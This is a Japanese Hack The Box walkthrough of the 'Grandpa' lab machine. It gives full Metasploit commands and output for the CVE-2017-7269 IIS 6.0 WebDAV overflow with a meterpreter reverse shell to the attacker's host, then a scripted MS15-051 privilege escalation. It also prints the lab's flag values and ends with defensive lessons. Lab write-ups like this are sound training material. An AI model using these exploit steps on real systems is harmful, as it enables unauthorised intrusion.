Hack The BoxのWriteup(Grandpa)[Easy]

※本サイトはアフィリエイト広告を利用しています。
広告

HackTheBox: Grandpa — 全実行コマンド・実行結果レポート
Nmap スキャン
80(IIS 6.0 + WebDAV)のみ
→
WebDAV PUT検証
アップロード系は403で封鎖済み
→
CVE-2017-7269
EXPLODINGCAN バッファオーバーフロー
→
NT AUTHORITY\NETWORK SERVICE
低権限シェル
→
MS15-051
client_copy_image カーネル脆弱性
→
NT AUTHORITY\SYSTEM
user.txt / root.txt ✓
PHASE 1

偵察 (Reconnaissance)

ポートスキャン

BASH
nmap -Pn -p 80 -sV -sC --max-retries 2 10.129.84.88
RESULT
PORT   STATE SERVICE VERSION
80/tcp open  http    Microsoft IIS httpd 6.0
| http-methods:
|_  Potentially risky methods: TRACE COPY PROPFIND SEARCH LOCK UNLOCK DELETE PUT MOVE MKCOL PROPPATCH
| http-webdav-scan:
|   Server Date: Sat, 17 Oct 2026 14:58:50 GMT
|   Allowed Methods: OPTIONS, TRACE, GET, HEAD, COPY, PROPFIND, SEARCH, LOCK, UNLOCK
|   Server Type: Microsoft-IIS/6.0
|   WebDAV type: Unknown
|_  Public Options: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, POST, COPY, MOVE, MKCOL, PROPFIND, PROPPATCH, LOCK, UNLOCK, SEARCH
|_http-server-header: Microsoft-IIS/6.0
|_http-title: Under Construction
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
🚨
開いているのは80番のみ。Microsoft-IIS/6.0 + WebDAVはWindows Server 2003に 同梱されるバージョンであり、2017年公開の重大なバッファオーバーフロー CVE-2017-7269 (EXPLODINGCAN)の対象プラットフォームである。 Allowed MethodsにPUT/MKCOLが列挙されているが、これは OPTIONSレスポンス上の宣言にすぎず実際の書込み可否とは別なので、 次のステップで実際に検証する。

WebDAV PUT の実動作確認

BASH
echo "test" > davtest.txt
curl -s -i -X PUT --data-binary @davtest.txt "http://10.129.84.88/davtest.txt"
RESULT
HTTP/1.1 403 Forbidden
Server: Microsoft-IIS/6.0
MicrosoftOfficeWebServer: 5.0_Pub
X-Powered-By: ASP.NET

<TITLE>The page cannot be saved</TITLE>
⚠️
実際のPUTは403 Forbiddenで拒否される(OPTIONSの宣言と実動作が異なる)。 これはGrandpaの姉妹機Grannyが使うアップロード型フットホールド (iis_webdav_upload_asp)がこのマシンでは使えないことを意味し、 CVE-2017-7269のバッファオーバーフロー一本に絞る方針が確定する。
PHASE 2

CVE-2017-7269 (EXPLODINGCAN) の解析

脆弱性の仕組み

NOTE
IIS 6.0 の WebDAV拡張モジュール(httpext.dll)内、ScStoragePathFromUrl関数が
"If-x" ヘッダを含む特定のPROPFINDリクエストを処理する際にバッファオーバーフローを
起こす。NSA発のEternalBlue関連リーク(Shadow Brokers)で2017年に公開され、
w3wp.exe (IISワーカープロセス) のコンテキストでシェルコードを実行できる。
IISワーカーの実行アカウントは既定で NT AUTHORITY\NETWORK SERVICE のため、
フットホールドの時点でこの低権限シェルが直接得られる(認証不要)。
🚨
Metasploitモジュール exploit/windows/iis/iis_webdav_scstoragepathfromurl (Reliability: REPEATABLE_SESSION)は、オーバーフローの正確な オフセットを得るためにストレージパス長を3〜60の範囲で総当たりする 内部実装になっており、フットホールド確立までに数十秒〜1分程度かかる。
PHASE 3

EXPLODINGCAN によるフットホールド

エクスプロイトモジュールの設定

BASH (msfconsole)
use exploit/windows/iis/iis_webdav_scstoragepathfromurl
set RHOSTS 10.129.84.88
set RPORT 80
set TARGETURI /
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.10.15.200
set LPORT 4540
run -j
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4540
[*] Trying path length 3 to 60 ...
[*] Sending stage (190534 bytes) to 10.129.84.88
[*] Meterpreter session 1 opened (10.10.15.200:4540 -> 10.129.84.88:1032)
✅
数十秒のパス長総当たりの後、単発で安定したセッションが確立する (アップロード型とは異なり多重セッションが乱立しない、クリーンな挙動)。

権限確認

API (msfconsole内Ruby)
sess.shell_command_token("whoami", 20)
RESULT
nt authority\network service
ℹ️
IISワーカープロセスの既定アカウント。管理者権限ではないため、 このままだとフラグ取得に進めるかはファイルACLに依存する。

user.txt への直接アクセス試行(失敗)

API (msfconsole内Ruby, foothold セッション)
sess.fs.dir.entries("C:\Documents and Settings\Harry\Desktop")
sess.shell_command_token('cmd.exe /c type "C:\Documents and Settings\Harry\Desktop\user.txt"', 15)
RESULT
DESKTOP_ENTRIES: (空)
TYPE_OUT: Access is denied.
🚨
重要な発見: NETWORK SERVICEアカウントには harryユーザーのDesktopフォルダに対する読み取り権限が ACLで拒否されている。つまりGrandpaでは、user.txtも root.txtと同様にSYSTEM昇格後でなければ読み取れない (NETWORK SERVICEの時点ではuser.txtの内容を直接確認できないという、 このマシン特有のACL設計になっている)。
PHASE 4

MS15-051 で SYSTEM 昇格 & user.txt / root.txt

ms15_051_client_copy_image の手動ドライブ

NOTE
SESSION -1 (コンソールの set コマンド経由で "最新セッション" を意味させる) は
"Invalid session identifier: -1" で拒否される。そのため use/set/run のコンソール
フローではなく、Rubyコード内で framework.exploits.create(...) によりモジュール
オブジェクトを直接生成し、取得済みのフットホールドセッションの実IDを
datastore['SESSION'] に設定する方式でドライブする(Granny/Grandpaの実機検証で
確立済みの手法)。
API (msfconsole内Ruby)
mod = framework.exploits.create('windows/local/ms15_051_client_copy_image')
mod.datastore['SESSION'] = foothold_sess.sid
mod.datastore['TARGET'] = 0
mod.datastore['PAYLOAD'] = 'windows/meterpreter/reverse_tcp'
mod.datastore['LHOST'] = '10.10.15.200'
mod.datastore['LPORT'] = 4551

# NETWORK SERVICEセッションは sys.config.getsid / sysinfo が例外を投げるため、
# ms15_051 の事前チェックで即中断しないようスタブ化する
def mod.is_system?; false; end
def mod.sysinfo; {'Architecture' => 'x86'}; end

# payload.assoc_exploit を明示設定しないと SYSTEM セッションが
# framework.sessions に登録されない(set_from_exploit(nil) の NoMethodError)
pinst = mod.framework.payloads.create('windows/meterpreter/reverse_tcp')
pinst.datastore['LHOST'] = '10.10.15.200'
pinst.datastore['LPORT'] = 4551
pinst.assoc_exploit = mod
mod.generate_payload(pinst)

mod.setup   # これを呼ばないと LPORT 4551 の reverse handler が起動しない
mod.exploit
RESULT
[*] Started reverse TCP handler on 10.10.15.200:4551
[*] Reflectively injecting the exploit DLL and executing it...
[*] Launching netsh to host the DLL...
[+] Process 1828 launched.
[*] Reflectively injecting the DLL into 1828...
[+] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (190534 bytes) to 10.129.84.88
[*] Meterpreter session 2 opened (10.10.15.200:4551 -> 10.129.84.88:1053)
🚨
CVE-2015-1701 (MS15-051): Windowsカーネルの win32k.sys内 NtUserCopyAcceleratorTable系APIの権限検証不備。 netsh.exeプロセスへDLLをリフレクティブインジェクションし、 カーネルモードでSYSTEM権限のプロセスを生成する。カーネルエクスプロイトの ため常に成功するとは限らない(msf自身がReliability: UNKNOWN_RELIABILITY と申告)が、今回は1回目の試行で成功した。

SYSTEM昇格の確認

API
root_sess.shell_command_token("whoami", 15)
RESULT
nt authority\system

user.txt / root.txt 取得(SYSTEMセッションから)

API (msfconsole内Ruby, meterpreterのfs.file API経由)
root_sess.fs.file.open('C:\Documents and Settings\Harry\Desktop\user.txt').read
root_sess.fs.file.open('C:\Documents and Settings\Administrator\Desktop\root.txt').read
RESULT
USER_FLAG_FROM_SYSTEM: bdff5ec67c3cff017f2bedc146a5d869
ROOT_FLAG_FROM_SYSTEM: 9359e905a2c35f861f6a57cecf28bb7b
user.txt — Harry@GRANDPA
bdff5ec67c3cff017f2bedc146a5d869
root.txt — Administrator@GRANDPA
9359e905a2c35f861f6a57cecf28bb7b
✅
SYSTEMは全てのNTFS ACLをバイパスするため、NETWORK SERVICEでは “Access is denied” だったuser.txtも問題なく読み取れる — このマシンではuser.txtもroot.txtと同じくSYSTEM昇格後でなければ 取得できないという設計(他のHTB Easyマシンの多くはuser.txtを フットホールドの時点で読めるが、Grandpaはそうではない)。
SUMMARY

攻略サマリー & 教訓

取得フラグ

user.txt — Harry@GRANDPA
bdff5ec67c3cff017f2bedc146a5d869
root.txt — Administrator@GRANDPA
9359e905a2c35f861f6a57cecf28bb7b

使用した脆弱性

脆弱性 対象 影響 深刻度 利用方法
CVE-2017-7269 (EXPLODINGCAN) IIS 6.0 WebDAV (httpext.dll ScStoragePathFromUrl) 未認証リモートコード実行 Critical ストレージパス長の総当たりでオーバーフローオフセットを特定し シェルコード実行、NETWORK SERVICEシェルを獲得
CVE-2015-1701 (MS15-051) Windowsカーネル win32k.sys (client_copy_image) 一般サービスアカウントからのSYSTEM昇格 Critical netsh.exeへのDLLリフレクティブインジェクションでカーネル権限 検証不備を突き、user.txt / root.txt取得可能な NT AUTHORITY\SYSTEMシェルを獲得

攻撃チェーン全体の流れ

#フェーズ技術取得情報
1偵察nmap(80) + WebDAV PUT実動作検証(403で封鎖確認)IIS 6.0検出、アップロード経路は不可と確定
2脆弱性解析CVE-2017-7269の仕組み理解パス長総当たりオーバーフローの把握
3フットホールドiis_webdav_scstoragepathfromurlNETWORK SERVICEシェル(user.txtは未読取、ACL拒否)
4権限昇格ms15_051_client_copy_imageuser.txt / root.txt(SYSTEMシェルから両方取得)

学んだ教訓 & 防御策

問題点防御策
2017年公開の既知脆弱性(CVE-2017-7269, EXPLODINGCAN)が 未パッチのまま稼働している、かつEOL(サポート終了)のWindows Server 2003/IIS 6.0 Windows Server 2003は2015年にサポート終了済み。 現行の長期サポート対象OS(Windows Server 2019/2022等)へ 移行し、WebDAV拡張機能は使用しないなら無効化する。
2015年公開のWindowsカーネル脆弱性(MS15-051)が未パッチ Windows Updateを定期適用し、特にwin32k.sys等カーネルモード コンポーネントのセキュリティパッチは優先的に適用する。
ユーザーのDesktopフォルダへのACLが単純な拒否のみで、 監査ログ等の検知機構が存在しない(推測、本検証では確認せず) 重要ファイルへのアクセス試行は監査ログで記録し、 NETWORK SERVICE等のサービスアカウントからの異常なファイル アクセス試行をSIEMでアラート化する。
HackTheBox: Grandpa | 完全攻略レポート